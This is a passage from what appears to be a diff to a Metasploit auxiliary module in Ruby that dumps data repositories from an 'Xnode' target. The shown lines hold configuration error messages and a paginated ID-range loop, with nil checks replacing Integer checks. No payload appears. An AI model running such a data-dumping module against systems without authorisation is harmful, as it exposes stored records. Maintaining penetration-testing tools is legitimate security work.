fail_with(Failure::BadConfig, "The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set 'DUMP_ALL' to true.")
when 4
when config_status::DATA_TO_DUMP_WRONG_FORMAT
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file}. Check if your 'CONFIG_DIR' setting is correct or set 'DUMP_ALL' to true.")
end
end
@ -213,13 +212,13 @@ class MetasploitModule < Msf::Auxiliary
id_range_upper += 10
if id_range_upper > max_id
if hit_upper_limit
results += partial_results unless partial_results.is_a?(Integer)
results += partial_results unless partial_results.nil?
break
end
hit_upper_limit = true
id_range_upper = max_id
end
next if partial_results.is_a?(Integer)
next if partial_results.nil?
results += partial_results
end